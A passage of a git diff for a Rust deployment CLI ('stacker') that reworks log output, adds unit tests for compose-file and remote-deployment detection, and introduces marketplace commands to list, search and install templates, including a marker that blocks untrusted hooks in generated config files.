+    (summary, tip)
+}
+
 /// Execute an agent command with spinner and polling.
 fn run_remote_agent_command(
     ctx: &CliRuntime,
@@ -315,8 +335,7 @@ fn run_remote_agent_command(
         let command_id = info.command_id.clone();
         let deployment_hash = request.deployment_hash.clone();
 
-        let deadline =
-            tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
+        let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout);
         let interval = std::time::Duration::from_secs(REMOTE_POLL_INTERVAL_SECS);
 
         let mut last_status = "pending".to_string();
@@ -339,10 +358,7 @@ fn run_remote_agent_command(
                 .await?;
 
             last_status = status.status.clone();
-            progress::update_message(
-                &pb,
-                &format!("{} [{}]", spinner_msg, status.status),
-            );
+            progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status));
 
             match status.status.as_str() {
                 "completed" | "failed" => return Ok(status),
@@ -380,26 +396,27 @@ fn print_logs_result(app_code: &str, info: &AgentCommandInfo, multi: bool) {
 
     if info.status == "failed" {
         if let Some(ref error) = info.error {
-            eprintln!("Error fetching logs for {}: {}", app_code, fmt::pretty_json(error));
+            eprintln!(
+                "Error fetching logs for {}: {}",
+                app_code,
+                fmt::pretty_json(error)
+            );
         }
         return;
     }
 
     if let Some(ref result) = info.result {
-        // Try to extract log lines from the result JSON
-        if let Some(logs) = result.get("logs").and_then(|v| v.as_str()) {
-            print!("{}", logs);
-        } else if let Some(lines) = result.get("lines").and_then(|v| v.as_array()) {
-            for line in lines {
-                if let Some(s) = line.as_str() {
-                    println!("{}", s);
+        if let Some(lines) = result.get("lines").and_then(|v| v.as_array()) {
+            if lines.is_empty() {
+                println!("(no log output)");
+            } else {
+                for line in lines {
+                    let msg = line.get("message").and_then(|v| v.as_str()).unwrap_or("");
+                    println!("{}", msg);
                 }
             }
-        } else if let Some(output) = result.get("output").and_then(|v| v.as_str()) {
-            print!("{}", output);
         } else {
-            // Fallback: pretty-print the whole result
-            println!("{}", fmt::pretty_json(result));
+            println!("(no log output)");
         }
     } else {
         println!("(no log output)");
@@ -413,6 +430,8 @@ fn print_logs_result(app_code: &str, info: &AgentCommandInfo, multi: bool) {
 #[cfg(test)]
 mod tests {
     use super::*;
+    use crate::cli::deployment_lock::DeploymentLock;
+    use chrono::Utc;
 
     #[test]
     fn test_logs_constructs_compose_command() {
@@ -453,7 +472,11 @@ mod tests {
         struct MockExec;
         impl CommandExecutor for MockExec {
             fn execute(&self, _p: &str, _a: &[&str]) -> Result<CommandOutput, CliError> {
-                Ok(CommandOutput { exit_code: 0, stdout: String::new(), stderr: String::new() })
+                Ok(CommandOutput {
+                    exit_code: 0,
+                    stdout: String::new(),
+                    stderr: String::new(),
+                })
             }
         }
 
@@ -463,4 +486,109 @@ mod tests {
         let err = format!("{}", result.unwrap_err());
         assert!(err.contains("No deployment found") || err.contains("deploy"));
     }
+
+    #[test]
+    fn test_logs_uses_configured_compose_file_for_local_target() {
+        struct MockExec {
+            calls: std::sync::Mutex<Vec<Vec<String>>>,
+        }
+
+        impl CommandExecutor for MockExec {
+            fn execute(&self, _p: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls
+                    .lock()
+                    .unwrap()
+                    .push(args.iter().map(|arg| arg.to_string()).collect());
+                Ok(CommandOutput {
+                    exit_code: 0,
+                    stdout: String::new(),
+                    stderr: String::new(),
+                })
+            }
+        }
+
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::create_dir_all(dir.path().join("docker/local")).unwrap();
+        std::fs::write(
+            dir.path().join("docker/local/compose.yml"),
+            "services: {}\n",
+        )
+        .unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            "name: demo\ndeploy:\n  target: local\n  compose_file: docker/local/compose.yml\n",
+        )
+        .unwrap();
+
+        let executor = MockExec {
+            calls: std::sync::Mutex::new(Vec::new()),
+        };
+
+        run_logs(dir.path(), None, false, None, None, &executor).unwrap();
+
+        let calls = executor.calls.lock().unwrap();
+        assert_eq!(calls.len(), 1);
+        assert_eq!(
+            calls[0][2],
+            dir.path()
+                .join("docker/local/compose.yml")
+                .to_string_lossy()
+        );
+    }
+
+    #[test]
+    fn test_no_containers_messages_use_full_hash() {
+        let hash = "deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22";
+        let (summary, tip) = no_containers_messages(hash);
+
+        assert!(summary.contains(hash));
+        assert!(tip.contains(hash));
+        assert!(!summary.contains("deployme."));
+    }
+
+    #[test]
+    fn test_is_remote_deployment_for_hydrated_handoff_lock() {
+        let dir = tempfile::TempDir::new().unwrap();
+        DeploymentLock {
+            target: "cloud".to_string(),
+            server_ip: Some("203.0.113.10".to_string()),
+            ssh_user: Some("root".to_string()),
+            ssh_port: Some(22),
+            ssh_key: None,
+            server_name: Some("demo".to_string()),
+            deployment_id: Some(42),
+            project_id: Some(7),
+            cloud_id: Some(9),
+            project_name: Some("demo".to_string()),
+            stacker_email: Some("owner@example.com".to_string()),
+            deployed_at: Utc::now().to_rfc3339(),
+        }
+        .save(dir.path())
+        .unwrap();
+
+        assert!(is_remote_deployment(dir.path()));
+    }
+
+    #[test]
+    fn test_is_remote_deployment_for_named_cloud_target_config() {
+        let dir = tempfile::TempDir::new().unwrap();
+        std::fs::write(
+            dir.path().join(DEFAULT_CONFIG_FILE),
+            r#"name: demo
+app:
+  type: static
+deploy:
+  default_target: prod
+  targets:
+    local:
+      compose_file: docker/local/compose.yml
+    prod:
+      cloud:
+        provider: aws
+"#,
+        )
+        .unwrap();
+
+        assert!(is_remote_deployment(dir.path()));
+    }
 }
diff --git a/src/console/commands/cli/marketplace.rs b/src/console/commands/cli/marketplace.rs
index 55bcfb81..cb02a655 100644
--- a/src/console/commands/cli/marketplace.rs
+++ b/src/console/commands/cli/marketplace.rs
@@ -1,7 +1,943 @@
+use crate::cli::config_parser::{DeployTarget, StackerConfig, MARKETPLACE_ORIGIN_MARKER};
 use crate::cli::credentials::CredentialsManager;
+use crate::cli::deployment_lock::DeploymentLock;
 use crate::cli::error::CliError;
-use crate::cli::stacker_client::StackerClient;
+use crate::cli::runtime::CliRuntime;
+use crate::cli::stacker_client::{
+    build_deploy_form, build_server_deploy_form, generate_server_name, MarketplaceTemplate,
+    StackerClient,
+};
 use crate::console::commands::CallableTrait;
+use dialoguer::Confirm;
+use serde_json::{Map, Value};
+use std::path::{Path, PathBuf};
+
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+// marketplace templates (list all / browse catalog)
+// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+pub struct MarketplaceTemplatesCommand {
+    category: Option<String>,
+    tag: Option<String>,
+    json: bool,
+}
+
+impl MarketplaceTemplatesCommand {
+    pub fn new(category: Option<String>, tag: Option<String>, json: bool) -> Self {
+        Self {
+            category,
+            tag,
+            json,
+        }
+    }
+}
+
+impl CallableTrait for MarketplaceTemplatesCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("list marketplace templates")?;
+        let templates = ctx.block_on(async {
+            ctx.client
+                .list_marketplace_templates(self.category.as_deref(), self.tag.as_deref())
+                .await
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&templates)?);
+            return Ok(());
+        }
+
+        if templates.is_empty() {
+            let filter_hint = match (&self.category, &self.tag) {
+                (Some(cat), None) => format!(" for category '{}'", cat),
+                (None, Some(tag)) => format!(" for tag '{}'", tag),
+                (Some(cat), Some(tag)) => format!(" for category '{}' and tag '{}'", cat, tag),
+                (None, None) => String::new(),
+            };
+            println!("No marketplace templates found{}.", filter_hint);
+            println!("Browse the catalog at: https://try.direct/applications");
+            return Ok(());
+        }
+
+        println!(
+            "{:<24} {:<28} {:<20} {:<14} {}",
+            "ITEM", "NAME", "VENDOR", "PLAN", "DESCRIPTION"
+        );
+        println!("{}", "\u{2500}".repeat(114));
+        for template in &templates {
+            println!(
+                "{:<24} {:<28} {:<20} {:<14} {}",
+                truncate(&template.slug, 22),
+                truncate(&template.name, 26),
+                truncate(template.creator_name.as_deref().unwrap_or("-"), 18),
+                display_plan(template),
+                truncate(template.description.as_deref().unwrap_or(""), 26),
+            );
+        }
+        eprintln!(
+            "\nInstall one with: stacker install {}",
+            templates
+                .first()
+                .map(|template| template.slug.as_str())
+                .unwrap_or("<item>")
+        );
+
+        Ok(())
+    }
+}
+
+pub struct MarketplaceFindCommand {
+    query: String,
+    json: bool,
+    limit: Option<u32>,
+}
+
+impl MarketplaceFindCommand {
+    pub fn new(query: String, json: bool, limit: Option<u32>) -> Self {
+        Self { query, json, limit }
+    }
+}
+
+impl CallableTrait for MarketplaceFindCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        let ctx = CliRuntime::new("find marketplace templates")?;
+
+        let is_list_all = self.query.eq_ignore_ascii_case("all") || self.query == "*";
+
+        let templates = ctx.block_on(async {
+            if is_list_all {
+                ctx.client.list_marketplace_templates(None, None).await
+            } else {
+                ctx.client
+                    .search_marketplace_templates(
+                        Some(&self.query),
+                        None,
+                        None,
+                        Some(self.limit.unwrap_or(20)),
+                    )
+                    .await
+            }
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&templates)?);
+            return Ok(());
+        }
+
+        if templates.is_empty() {
+            if is_list_all {
+                println!("No marketplace templates found.");
+                println!("Browse the catalog at: https://try.direct/applications");
+            } else {
+                println!(
+                    "No marketplace templates found for '{}'. Try 'stacker find all' to browse everything.",
+                    self.query
+                );
+            }
+            return Ok(());
+        }
+
+        println!(
+            "{:<24} {:<28} {:<20} {:<14} {}",
+            "ITEM", "NAME", "VENDOR", "PLAN", "DESCRIPTION"
+        );
+        println!("{}", "\u{2500}".repeat(114));
+        for template in &templates {
+            println!(
+                "{:<24} {:<28} {:<20} {:<14} {}",
+                truncate(&template.slug, 22),
+                truncate(&template.name, 26),
+                truncate(template.creator_name.as_deref().unwrap_or("-"), 18),
+                display_plan(template),
+                truncate(template.description.as_deref().unwrap_or(""), 26),
+            );
+        }
+        eprintln!(
+            "\nInstall one with: stacker install {}",
+            templates
+                .first()
+                .map(|template| template.slug.as_str())
+                .unwrap_or("<item>")
+        );
+
+        Ok(())
+    }
+}
+
+pub struct MarketplaceInstallCommand {
+    template: String,
+    name: Option<String>,
+    file: PathBuf,
+    force: bool,
+    json: bool,
+    domain: Option<String>,
+    set_values: Vec<String>,
+    key_name: Option<String>,
+    key_id: Option<i32>,
+    region: Option<String>,
+    size: Option<String>,
+    provider: Option<String>,
+}
+
+impl MarketplaceInstallCommand {
+    pub fn new(
+        template: String,
+        name: Option<String>,
+        file: Option<PathBuf>,
+        force: bool,
+        json: bool,
+        domain: Option<String>,
+        set_values: Vec<String>,
+        key_name: Option<String>,
+        key_id: Option<i32>,
+        region: Option<String>,
+        size: Option<String>,
+        provider: Option<String>,
+    ) -> Self {
+        Self {
+            template,
+            name,
+            file: file.unwrap_or_else(|| PathBuf::from("stacker.yml")),
+            force,
+            json,
+            domain,
+            set_values,
+            key_name,
+            key_id,
+            region,
+            size,
+            provider,
+        }
+    }
+
+    /// Apply CLI overrides (--key, --key-id, --provider, --region, --size) to
+    /// the deploy form, regardless of whether the config was read from an
+    /// existing stacker.yml or auto-generated.
+    fn apply_cloud_overrides(&self, form: &mut serde_json::Value, ctx: &CliRuntime) {
+        // Resolve cloud credential name from --key or --key-id
+        let resolved_key_name: Option<String> = if let Some(id) = self.key_id {
+            ctx.block_on(async { ctx.client.list_clouds().await })
+                .ok()
+                .and_then(|cs| cs.into_iter().find(|c| c.id == id))
+                .map(|c| c.name)
+        } else {
+            self.key_name.clone().filter(|v| !v.trim().is_empty())
+        };
+
+        // Apply cloud credential name
+        if let Some(name) = resolved_key_name {
+            if let Some(cloud) = form.get_mut("cloud").and_then(|v| v.as_object_mut()) {
+                cloud.insert("name".into(), serde_json::json!(name));
+                cloud.insert("save_token".into(), serde_json::json!(false));
+            }
+        }
+
+        // Apply provider override
+        if let Some(provider) = self
+            .provider
+            .as_deref()
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+        {
+            if let Some(cloud) = form.get_mut("cloud").and_then(|v| v.as_object_mut()) {
+                let provider_code = crate::cli::install_runner::provider_code_for_remote(provider);
+                cloud.insert("provider".into(), serde_json::json!(provider_code));
+            }
+        }
+
+        // Apply region override
+        if let Some(region) = self
+            .region
+            .as_deref()
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+        {
+            if let Some(server) = form.get_mut("server").and_then(|v| v.as_object_mut()) {
+                server.insert("region".into(), serde_json::json!(region));
+            }
+        }
+
+        // Apply size override
+        if let Some(size) = self
+            .size
+            .as_deref()
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+        {
+            if let Some(server) = form.get_mut("server").and_then(|v| v.as_object_mut()) {
+                server.insert("server".into(), serde_json::json!(size));
+            }
+        }
+    }
+}
+
+impl CallableTrait for MarketplaceInstallCommand {
+    fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
+        // Refuse to run inside an existing project directory.
+        // 'stacker install' creates a whole new project — it does not extend
+        // the current one. Users should use 'stacker service add' instead.
+        if self.file.exists() {
+            let project_dir = self
+                .file
+                .parent()
+                .filter(|p| !p.as_os_str().is_empty())
+                .unwrap_or_else(|| Path::new("."));
+            if DeploymentLock::exists(project_dir) {
+                return Err(Box::new(CliError::ConfigValidation(
+                    "This directory already contains a deployed project.\n\
+                     'stacker install' creates a new project from a template — it cannot \
+                     be used inside an existing project directory.\n\n\
+                     To extend your current project, use:\n  \
+                     stacker service add <service>\n  \
+                     stacker agent deploy-app <stack_code>\n\n\
+                     To create a new project, run 'stacker install' in an empty directory."
+                        .to_string(),
+                )));
+            }
+        }
+
+        let ctx = CliRuntime::new("install marketplace template")?;
+
+        let (mut deploy_form, config_inputs, generated_stacker_yml) = if self.file.exists() {
+            let config = StackerConfig::from_file(&self.file)?;
+            let mut form = if config.deploy.target == DeployTarget::Server {
+                if let Some(server_cfg) = config.deploy.server.as_ref() {
+                    let project_name = config
+                        .project
+                        .identity
+                        .clone()
+                        .unwrap_or_else(|| config.name.clone());
+                    let server_name = generate_server_name(&project_name);
+                    build_server_deploy_form(&config, server_cfg, &server_name, false)
+                } else {
+                    return Err(Box::new(CliError::ConfigValidation(
+                        "Server deploy target requires deploy.server configuration (host, user, port, ssh_key)".to_string(),
+                    )));
+                }
+            } else {
+                build_deploy_form(&config)
+            };
+            if let Some(stack) = form
+                .get_mut("stack")
+                .and_then(|value| value.as_object_mut())
+            {
+                stack.insert(
+                    "stack_code".to_string(),
+                    serde_json::Value::String(self.template.clone()),
+                );
+            }
+            self.apply_cloud_overrides(&mut form, &ctx);
+            (Some(form), config.install.inputs, false)
+        } else {
+            // No local stacker.yml. If this is a catalog application, we cannot
+            // install it without deploy context — instead of erroring out and
+            // leaving the user stuck, ask permission to generate a minimal
+            // stacker.yml using --domain and proceed with a real deployment.
+            let needs_deploy_context = ctx.block_on(async {
+                catalog_app_needs_deploy_context(&ctx.client, &self.template).await
+            })?;
+
+            if needs_deploy_context {
+                if !self.force && !confirm_generate_stacker_file(&self.file, &self.template)? {
+                    println!(
+                        "Aborted: no {} written and no remote project was created.",
+                        self.file.display()
+                    );
+                    return Ok(());
+                }
+                let config = ctx.block_on(async {
+                    generate_minimal_install_config(
+                        &ctx.client,
+                        &self.template,
+                        self.name.as_deref(),
+                        self.domain.as_deref(),
+                        self.key_name.as_deref(),
+                        self.key_id,
+                        self.region.as_deref(),
+                        self.size.as_deref(),
+                        self.provider.as_deref(),
+                    )
+                    .await
+                })?;
+                let yaml = serde_yaml::to_string(&config).map_err(|err| {
+                    CliError::ConfigValidation(format!("Failed to render stacker.yml: {}", err))
+                })?;
+                std::fs::write(&self.file, prepend_marketplace_marker(&yaml))?;
+                let mut form = build_deploy_form(&config);
+                if let Some(stack) = form
+                    .get_mut("stack")
+                    .and_then(|value| value.as_object_mut())
+                {
+                    stack.insert(
+                        "stack_code".to_string(),
+                        serde_json::Value::String(self.template.clone()),
+                    );
+                }
+                self.apply_cloud_overrides(&mut form, &ctx);
+                (Some(form), config.install.inputs, true)
+            } else {
+                (None, Default::default(), false)
+            }
+        };
+
+        // If the deploy form has no cloud credential name, try to resolve
+        // one from the project's existing cloud deployment lock file.
+        if let Some(form) = deploy_form.as_mut() {
+            let has_cloud_name = form
+                .get("cloud")
+                .and_then(|c| c.get("name"))
+                .and_then(|n| n.as_str())
+                .filter(|s| !s.is_empty())
+                .is_some();
+
+            if !has_cloud_name {
+                let project_dir = self
+                    .file
+                    .parent()
+                    .filter(|p| !p.as_os_str().is_empty())
+                    .unwrap_or_else(|| Path::new("."));
+
+                if let Ok(Some(lock)) = DeploymentLock::load_for_target(project_dir, "cloud") {
+                    if let Some(cloud_id) = lock.cloud_id {
+                        let cloud_info = ctx
+                            .block_on(async { ctx.client.get_cloud(cloud_id).await })
+                            .ok()
+                            .flatten();
+
+                        if let Some(cloud) = cloud_info {
+                            if let Some(form_cloud) =
+                                form.get_mut("cloud").and_then(|v| v.as_object_mut())
+                            {
+                                form_cloud.insert(
+                                    "name".to_string(),
+                                    serde_json::Value::String(cloud.name.clone()),
+                                );
+                                form_cloud.insert(
+                                    "save_token".to_string(),
+                                    serde_json::Value::Bool(false),
+                                );
+                                eprintln!(
+                                    "Using cloud credential '{}' from previous deployment.",
+                                    cloud.name
+                                );
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        let install_inputs =
+            resolve_install_inputs(config_inputs, self.domain.as_deref(), &self.set_values)?;
+        if let Some(form) = deploy_form.as_mut() {
+            apply_install_inputs_to_deploy_form(form, &install_inputs);
+        }
+        let install_inputs = if install_inputs.is_empty() {
+            None
+        } else {
+            Some(install_inputs)
+        };
+
+        if generated_stacker_yml {
+            println!(
+                "Wrote {} with defaults. Starting deployment...",
+                self.file.display()
+            );
+        }
+
+        // Idempotency key for the install request. Respect an env override so
+        // CI can pin it explicitly (a re-run with the same key collapses to
+        // the original authorization for per_install-billed templates).
+        // Otherwise generate a fresh one per invocation.
+        let idempotency_key = std::env::var("STACKER_INSTALL_IDEMPOTENCY_KEY")
+            .ok()
+            .filter(|k| !k.trim().is_empty())
+            .unwrap_or_else(|| format!("cli-{}", uuid::Uuid::new_v4()));
+
+        let response = ctx.block_on(async {
+            ctx.client
+                .install_marketplace_template(
+                    &self.template,
+                    self.name.as_deref(),
+                    deploy_form,
+                    install_inputs,
+                    &idempotency_key,
+                )
+                .await
+        })?;
+
+        if self.json {
+            println!("{}", serde_json::to_string_pretty(&response)?);
+            return Ok(());
+        }
+
+        if let Some(deployment_id) = response.deployment_id {
+            println!(
+                "Installed '{}' as project #{} and started deployment #{}.",
+                response.template.slug, response.project.id, deployment_id
+            );
+            println!("Track with: stacker deployment state");
+            return Ok(());
+        }
+
+        let Some(yaml) = response_stack_definition(&response) else {
+            println!(
+                "Installed '{}' as project #{}.",
+                response.template.slug, response.project.id
+            );
+            if !generated_stacker_yml {
+                println!(
+                    "No local {} was written because this catalog application did not return a stack definition.",
+                    self.file.display()
+                );
+            }
+            return Ok(());
+        };
+
+        if !self.force && !confirm_stacker_file_write(&self.file)? {
+            println!(
+                "Installed '{}' as project #{}.",
+                response.template.slug, response.project.id
+            );
+            println!("Skipped writing {}.", self.file.display());
+            return Ok(());
+        }
+
+        std::fs::write(&self.file, prepend_marketplace_marker(&yaml))?;
+
+        println!(
+            "Installed '{}' as project #{}.",
+            response.template.slug, response.project.id
+        );
+        println!("Wrote {}", self.file.display());
+        println!(
+            "  Hooks in this file will be REFUSED by `stacker deploy` until you review \
+             them and remove the '{}' marker line (or pass --allow-untrusted-hooks).",
+            MARKETPLACE_ORIGIN_MARKER
+        );
+        println!(
+            "Deploy with: stacker deploy --project {}",
+            response.project.name
+        );
+
+        Ok(())
+    }
+}
+
+/// Prepend the marketplace-origin marker to a YAML body so that a
+/// subsequent `stacker deploy` treats hook execution as untrusted.
+///
+/// The marker is idempotent — if the body already starts with the
+/// marker line, we don't add a second copy.
+fn prepend_marketplace_marker(yaml: &str) -> String {
+    let already_marked = yaml
+        .lines()
+        .find(|line| !line.trim().is_empty())
+        .map(|line| {
+            line.trim()
+                .strip_prefix('#')
+                .map(|rest| {
+                    rest.trim().eq_ignore_ascii_case(
+                        MARKETPLACE_ORIGIN_MARKER.trim_start_matches('#').trim(),
+                    )
+                })
+                .unwrap_or(false)
+        })
+        .unwrap_or(false);
+    if already_marked {
+        yaml.to_string()
+    } else {
+        format!(
+            "{marker}\n# Delete the line above once you have reviewed hooks in this file — \
+             `stacker deploy` refuses to run hooks while the marker is present.\n{body}",
+            marker = MARKETPLACE_ORIGIN_MARKER,
+            body = yaml
+        )
+    }
+}
+
+fn response_stack_definition(
+    response: &crate::cli::stacker_client::MarketplaceInstallResponse,
+) -> Option<String> {
+    let value = response.latest_version.get("stack_definition")?;
+
+    if value.is_object() {
+        return serde_yaml::to_string(value).ok();
+    }
+
+    if let Some(yaml_str) = value.as_str() {
+        use docker_compose_types as dctypes;
+
+        // Parse as Docker Compose and convert to stacker config format
+        let compose: dctypes::Compose = serde_yaml::from_str(yaml_str).ok()?;
+
+        let project_name = response.template.slug.clone();
+        let mut config = serde_yaml::Mapping::new();
+        config.insert("name".into(), serde_yaml::Value::String(project_name));
+
+        let mut svc_map = serde_yaml::Mapping::new();
+        for (svc_name, svc_opt) in &compose.services.0 {
+            let Some(service) = svc_opt.as_ref() else {
+                continue;
+            };
+            let mut out = serde_yaml::Mapping::new();
+
+            // image
+            if let Some(image) = &service.image {
+                out.insert("image".into(), serde_yaml::Value::String(image.clone()));
+            }
+
+            // ports: follow the same conversion pattern as builder.rs
+            let ports: Vec<String> = match &service.ports {
+                dctypes::Ports::Short(list) => list.clone(),
+                dctypes::Ports::Long(list) => list
+                    .iter()
+                    .map(|p| {
+                        let host = p
+                            .host_ip
+                            .as_ref()
+                            .map(|h| format!("{}:", h))
+                            .unwrap_or_default();
+                        let published = p
+                            .published
+                            .as_ref()
+                            .map(|pp| match pp {
+                                dctypes::PublishedPort::Single(n) => n.to_string(),
+                                dctypes::PublishedPort::Range(s) => s.clone(),
+                            })
+                            .unwrap_or_default();
+                        format!("{}{}:{}", host, published, p.target)
+                    })
+                    .collect(),
+            };
+            if !ports.is_empty() {
+                let yaml_ports: Vec<serde_yaml::Value> =
+                    ports.into_iter().map(serde_yaml::Value::String).collect();
+                out.insert("ports".into(), serde_yaml::Value::Sequence(yaml_ports));
+            }
+
+            // volumes
+            let volumes: Vec<String> = service
+                .volumes
+                .iter()
+                .filter_map(|v| match v {
+                    dctypes::Volumes::Simple(s) => Some(s.clone()),
+                    dctypes::Volumes::Advanced(adv) => Some(format!(
+                        "{}:{}",
+                        adv.source.as_deref().unwrap_or(""),
+                        &adv.target
+                    )),
+                })
+                .collect();
+            if !volumes.is_empty() {
+                let yaml_vols: Vec<serde_yaml::Value> =
+                    volumes.into_iter().map(serde_yaml::Value::String).collect();
+                out.insert("volumes".into(), serde_yaml::Value::Sequence(yaml_vols));
+            }
+
+            // environment
+            let env_map: serde_yaml::Mapping = match &service.environment {
+                dctypes::Environment::List(list) => list
+                    .iter()
+                    .filter_map(|entry| {
+                        entry.split_once('=').map(|(k, v)| {
+                            (
+                                serde_yaml::Value::String(k.to_string()),
+                                serde_yaml::Value::String(v.to_string()),
+                            )
+                        })
+                    })
+                    .collect(),
+                dctypes::Environment::KvPair(map) => map
+                    .iter()
+                    .map(|(k, v)| {
+                        let val = v
+                            .as_ref()
+                            .map(|sv| match sv {
+                                dctypes::SingleValue::String(s) => s.clone(),
+                                dctypes::SingleValue::Bool(b) => b.to_string(),
+                                dctypes::SingleValue::Unsigned(n) => n.to_string(),
+                                dctypes::SingleValue::Signed(n) => n.to_string(),
+                                dctypes::SingleValue::Float(f) => f.to_string(),
+                            })
+                            .unwrap_or_default();
+                        (
+                            serde_yaml::Value::String(k.clone()),
+                            serde_yaml::Value::String(val),
+                        )
+                    })
+                    .collect(),
+            };
+            if !env_map.is_empty() {
+                out.insert("environment".into(), serde_yaml::Value::Mapping(env_map));
+            }
+
+            // depends_on: simple list of strings
+            let depends: Vec<String> = match &service.depends_on {
+                dctypes::DependsOnOptions::Simple(list) => list.clone(),
+                dctypes::DependsOnOptions::Conditional(map) => map.keys().cloned().collect(),
+            };
+            if !depends.is_empty() {
+                let yaml_dep: Vec<serde_yaml::Value> =
+                    depends.into_iter().map(serde_yaml::Value::String).collect();
+                out.insert("depends_on".into(), serde_yaml::Value::Sequence(yaml_dep));
+            }
+
+            svc_map.insert(
+                serde_yaml::Value::String(svc_name.clone()),
+                serde_yaml::Value::Mapping(out),
+            );
+        }
+        if !svc_map.is_empty() {
+            config.insert("services".into(), serde_yaml::Value::Mapping(svc_map));
+        }
+
+        return serde_yaml::to_string(&config).ok();
+    }
+
+    None
+}
+
+fn confirm_stacker_file_write(file: &std::path::Path) -> Result<bool, CliError> {
+    let action = if file.exists() { "update" } else { "create" };
+    Confirm::new()
+        .with_prompt(format!(
+            "Stacker wants to {} {} in the current directory. Allow?",
+            action,
+            file.display()
+        ))
+        .default(false)
+        .interact()
+        .map_err(|err| CliError::ConfigValidation(format!("Failed to read confirmation: {}", err)))
+}
+
+async fn catalog_app_needs_deploy_context(
+    client: &StackerClient,
+    template: &str,
+) -> Result<bool, CliError> {
+    // DB-backed marketplace templates can install standalone.
+    if client.get_marketplace_template(template).await?.is_some() {
+        return Ok(false);
+    }
+
+    // Otherwise check whether this is a known catalog application.
+    let applications = client
+        .search_marketplace_templates(Some(template), None, None, Some(10))
+        .await?;
+    Ok(applications
+        .iter()
+        .any(|application| marketplace_template_matches_slug(application, template)))
+}
+
+fn confirm_generate_stacker_file(file: &Path, template: &str) -> Result<bool, CliError> {
+    Confirm::new()
+        .with_prompt(format!(
+            "Stacker wants to create {} in the current directory with defaults to install and deploy '{}' to the cloud. Allow?",
+            file.display(),
+            template
+        ))
+        .default(true)
+        .interact()
+        .map_err(|err| CliError::ConfigValidation(format!("Failed to read confirmation: {}", err)))
+}
+
+fn cloud_provider_from_code(code: &str) -> Option<crate::cli::config_parser::CloudProvider> {
+    use crate::cli::config_parser::CloudProvider;
+    match code.to_lowercase().as_str() {
+        "htz" | "hetzner" => Some(CloudProvider::Hetzner),
+        "do" | "digitalocean" => Some(CloudProvider::Digitalocean),
+        "aws" => Some(CloudProvider::Aws),
+        "lo" | "linode" => Some(CloudProvider::Linode),
+        "vu" | "vultr" => Some(CloudProvider::Vultr),
+        "cnt" | "contabo" => Some(CloudProvider::Contabo),
+        _ => None,
+    }
+}
+
+async fn generate_minimal_install_config(
+    client: &StackerClient,
+    template: &str,
+    name: Option<&str>,
+    domain: Option<&str>,
+    key_name: Option<&str>,
+    key_id: Option<i32>,
+    region_override: Option<&str>,
+    size_override: Option<&str>,
+    provider_override: Option<&str>,
+) -> Result<StackerConfig, CliError> {
+    use crate::cli::config_parser::{CloudConfig, DeployTarget};
+
+    let mut config = StackerConfig::default();
+    config.name = name
+        .map(str::trim)
+        .filter(|value| !value.is_empty())
+        .unwrap_or(template)
+        .to_string();
+    config.project.identity = Some(template.to_string());
+    if let Some(domain) = domain.map(str::trim).filter(|value| !value.is_empty()) {
+        config.install.inputs.insert(
+            "commonDomain".to_string(),
+            Value::String(domain.to_ascii_lowercase()),
+        );
+    }
+
+    // Install implies remote deployment. Resolve the user's default cloud
+    // credential (first one returned by /cloud); if none is configured, ask
+    // the user to connect a cloud provider first instead of silently
+    // falling back to local.
+    let clouds = client.list_clouds().await?;
+
+    // If --key or --key-id was provided, find the matching cloud credential.
+    // Otherwise fall back to the first available credential.
+    let cloud_info = if let Some(id) = key_id {
+        clouds.into_iter().find(|c| c.id == id).ok_or_else(|| {
+            CliError::ConfigValidation(format!(
+                "No cloud connection found with ID '{}'. See `stacker list clouds`.",
+                id
+            ))
+        })?
+    } else if let Some(name) = key_name.map(str::trim).filter(|v| !v.is_empty()) {
+        clouds
+            .into_iter()
+            .find(|c| c.name.eq_ignore_ascii_case(name))
+            .ok_or_else(|| {
+                CliError::ConfigValidation(format!(
+                    "No cloud connection found with name '{}'. See `stacker list clouds`.",
+                    name
+                ))
+            })?
+    } else {
+        clouds.into_iter().next().ok_or_else(|| {
+            CliError::ConfigValidation(
+                "No cloud connections found. Connect one with `stacker config cloud add` (or `stacker login`) and retry.".to_string(),
+            )
+        })?
+    };
+    // Resolve provider: --provider flag overrides the credential's provider
+    let provider_code = provider_override
+        .map(str::trim)
+        .filter(|v| !v.is_empty())
+        .unwrap_or(&cloud_info.provider);
+    let provider = cloud_provider_from_code(provider_code).ok_or_else(|| {
+        CliError::ConfigValidation(format!("Unsupported cloud provider '{}'.", provider_code))
+    })?;
+    eprintln!(
+        "Using cloud connection '{}' (provider: {}).",
+        cloud_info.name, provider_code
+    );
+
+    let cloud_config = CloudConfig {
+        provider,
+        orchestrator: Default::default(),
+        region: region_override
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+            .map(String::from),
+        size: size_override
+            .map(str::trim)
+            .filter(|v| !v.is_empty())
+            .map(String::from),
+        install_image: None,
+        remote_payload_file: None,
+        ssh_key: None,
+        key: Some(cloud_info.name.clone()),
+        server: None,
+        public_ports: Vec::new(),
+    };
+
+    if region_override.is_some() {
+        eprintln!("Using region '{}'.", region_override.unwrap());
+    }
+    if size_override.is_some() {
+        eprintln!("Using server size '{}'.", size_override.unwrap());
+    }
+
+    // Auto-generated stacker.yml never reuses an existing server. A fresh
+    // server is always provisioned on the resolved cloud. To reuse an
+    // existing one, set `deploy.cloud.server: <name>` in stacker.yml.
+    eprintln!("A fresh server will be provisioned on this cloud.");
+
